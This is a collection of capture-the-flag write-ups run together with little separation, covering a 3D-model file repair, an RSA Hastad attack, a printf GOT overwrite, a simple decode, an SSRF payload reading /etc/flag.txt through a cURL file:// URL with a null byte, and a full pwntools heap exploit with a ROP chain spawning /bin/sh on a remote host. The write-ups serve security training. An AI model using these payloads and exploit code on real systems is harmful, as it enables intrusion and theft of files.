Looking at the phishy project we can see if there's anything thatdeviates from all these discoveries. And sure enough, we find 2things that stick out like a sore thumb: half of that 64-bit fieldfrom Resources_Mesh_nnn.bin has been overwritten with FISH and halfof that 64-bit field from Node_nnn_MeshInstance.bin has beenoverwritten with STIK.
After correcting those fields to nnn from the filename, it opens now!We see a model of a fish with the flag attached to the back face.
 |
# __CTF name__ ## _task name_
## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Crypto | 200 | MiKHalyCH
**Description:**
> sorry wrong chate = 3 btw[ciphertexts.txt](ciphertexts.txt) [moduli.txt](moduli.txt)
## SolutionWe have 3 `N's` and 15 `C's`. We need to find only 3 `C` for classical [Hastad attack](https://en.wikipedia.org/wiki/Coppersmith%27s_attack#H%C3%A5stad's_broadcast_attack) (code from [here](https://github.com/aaossa/Computer-Security-Algorithms/blob/master/11%20-%20H%C3%A5stad's%20Broadcast%20Attack/hastads-broadcast-attack.py))
So we can [try all permutations](solver.py) to find needed pairs of `(C,N)` and crack it. |
Log Search==========
Pretty straightforward printf vulnerability. pwntools will do theheavy lifting for us. The main key to this one is to do itefficiently.
We could put in a lot of effort and get full execution control. Butall we need is the flag. Studying the log search function providesus with a quicker path to the flag -- overwrite the log filename withflag.txt, overwrite strstr with printf, and instead of searching thelog for a search query, it will print every line from the flag.
One thing to watch out for: GOT entries are pointers to executablecode and PLT entries are executable code. You can't overwrite a GOTentry with a pointer to a GOT entry because that makes it a pointerto a pointer to executable code. Overwriting it with an entry toanother PLT entry makes it a pointer to executable code even thoughit will take you through the PLT/GOT twice. In this instance,execution will look like: strstr@plt -> strstr@got -> printf@plt ->printf@got -> printf@libc. |
# REV3
**Category:** Reverse Engineering**Points:** 110**Description:**
> Let's try Rev 3! For this executable, you will need to figure out what input makes the program return "Correct". You don't need the shell server for this one, but the binary can be found at /problems/rev3/ on the shell server.
## Write-up
```pythondef decode(encoded_flag): print "".join([chr((ord(x)+3)^0x9) for x in encoded_flag])
encoded_flag = "egzloxi|ixw]dkSe]dzSzccShejSi^3q"decode(encoded_flag)```
|
Search Box----------
> This search engine doesn't look very secure.>> Or well coded.>> Or competent in any way shape or form.>> This should be easy.
>Note: flag is in /etc/flag.txt
>http://search-box.web1.sunshinectf.org
? _The challenge is no longer online, so this writeup was written from memory_
Let's open the URL and prod around. We find a search box, which can retrieve the source code of any page on https://www.google.com.
1. Different hostnames are all blocked. Examples are: * `evil.com` * hostnames that include `www.google.com` such as `www.google.com.evil.com` * URLs that include google.com such as `www.evil.com/http://www.google.com`
2. [php:// filter urls](https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/) do not work.
3. Appending a null byte to the query, i.e., `site=http%3A%2F%2Fwww.google.com%00` gives a warning: `curl_setopt(): Curl option contains invalid characters (\0)` * So null bytes are detected and blocked * We now know that the backend used is cURL 4. Googling for this error then leads to https://bugs.php.net/bug.php?id=68089 * This has a nice example: `file:///etc/passwd%00http://google.com` * Apparently cURL also understands `file://` urls! * If you read carefully, you'll notice that this specific vulnerability is not addressed in PHP as it's considered a cURL issue 5. First focusing on the `file://` protocol: we notice that this protocol is supported, as `file://www.google.com` returns a _different_ error than before.
6. Testing locally, we find that `file://www.google.com/../etc/passwd` in fact reads `/etc/passwd`. However, search-box appends a `/` to the end of the url, which means the code would try to read `/etc/passwd/`, which of course doesn't exist. 7. Combining the two, we can send the null byte URLencoded to cURL. So the final attack URL becomes something like `file://www.google.com/../etc/flag.txt%00`. The final request thus becomes http://search-box.web1.sunshinectf.org/?submit=Submit&site=file%3A%2F%2Fwww.google.com%2F..%2Fetc%2Fflag.txt%2500 and this finally gets us the flag. |
## TL;DRThis is about exploiting a heap as a data structure. Negative size of elements on the heap allows to overwrite size of the heap itself to point somewhere above. It allows to write rop chain and after this overwrite RET with stack pivot gadget to point to rop chain.
[Exploit](./exploit.py):
```pythonimport struct
from pwn import *
payload = ''
def to_addr(n): return struct.pack('Q', n)
def to_n(addr): return struct.unpack('Q', addr)[0]
def line_up(pc): global payload pc.sendlineafter('Choice: ', '0') payload += '0\n'
def do_head_count(pc): global payload
pc.sendlineafter('Choice: ', '1') payload += '1\n'
def create_char(pc, name, age, inter=False): global payload
if inter: pc.interactive() else: pc.sendlineafter('Choice: ', '2') pc.sendlineafter('name?', name) pc.sendlineafter('age?', str(age))
payload += '2\n{}\n{}\n'.format(name, str(age))
def delete(pc): global payload
pc.sendlineafter('Choice: ', '3') payload += '3\n'
def main(pc, libc):
binsh = list(libc.search('/bin/sh'))[0] setvbuf_of = 0x201FC0 pop_rdi = 0x11c3 pivot = 0xb29
print(hex(libc.symbols['system']), hex(binsh))
create_char(pc, 'OOOO', 0xf0) create_char(pc, 'FFFF', 0x60) create_char(pc, 'DDDD', 0x40) create_char(pc, 'BBBB', 0x20) create_char(pc, 'EEEE', 0x50)
delete(pc) delete(pc) delete(pc) delete(pc) delete(pc) delete(pc)
line_up(pc) create_char(pc, 'A', -16)
delete(pc)
do_head_count(pc)
delete(pc)
pc.recvline() system = to_n(pc.recvline()[:6] + '\x00\x00') - libc.symbols['printf'] - 166 + libc.symbols['system'] binsha = system - libc.symbols['system'] + binsh print('System addr: ' + hex(system)) print('/bin/sh addr: ' + hex(binsha))
delete(pc) delete(pc)
line_up(pc) create_char(pc, 'A', -141) delete(pc)
do_head_count(pc)
delete(pc)
pc.recvline() base_code = to_n(pc.recvline()[:6] + '\x00\x00') - 0x459 setvbuf = base_code + setvbuf_of print('base addr: ' + hex(base_code)) print('setvbuf: ' + hex(setvbuf))
delete(pc) delete(pc)
line_up(pc)
create_char(pc, 'A', -18)
delete(pc)
do_head_count(pc)
delete(pc)
pc.recvline() stack = to_n(pc.recvline()[:6] + '\x00\x00') towrite = stack - 1376
print('Stack: ' + hex(stack)) print('To write: ' + hex(towrite))
delete(pc) delete(pc)
line_up(pc)
create_char(pc, 'A', -56)
raw_input()
create_char(pc, to_addr(base_code + pop_rdi), 0x42424242) create_char(pc, to_addr(system), binsha)
do_head_count(pc)
delete(pc) delete(pc)
line_up(pc)
print('Gadget: ' + hex(base_code + pivot))
create_char(pc, 'A', -3) create_char(pc, to_addr(base_code + pivot), towrite)
pc.interactive()
if __name__ == '__main__': # libc = ELF('/lib/x86_64-linux-gnu/libc-2.25.so') libc = ELF('./libc-2.26.so') # pc = process('./how2heap') # pc = remote('challenges1.uiuc.tf', 38910) pc = remote('159.89.8.102', 38910) main(pc, libc)``` |
In *EtherealBoy*, the player is given a GameBoy ROM `game.gb`.
Many older games consoles use the concept of a *tileset*, a set of *n*x*n*pixels *tiles*, which larger images for the background and sprites areconstructed from. Famously, the hedges and clouds in *Super Mario Bros.* onthe NES use the same tiles.
Many games require a font to construct text from, and thus dedicate some tilesto a full alphabet and numbers. These are logically laid out in an order you'dexpect, A-Z, 0-9. When we inspect the tileset of the provided ROM (this can bedone using an emulator such as bgb), however, we instead see the characters laidout to reveal the flag `flag{und3r_th3_hood}`.
 |
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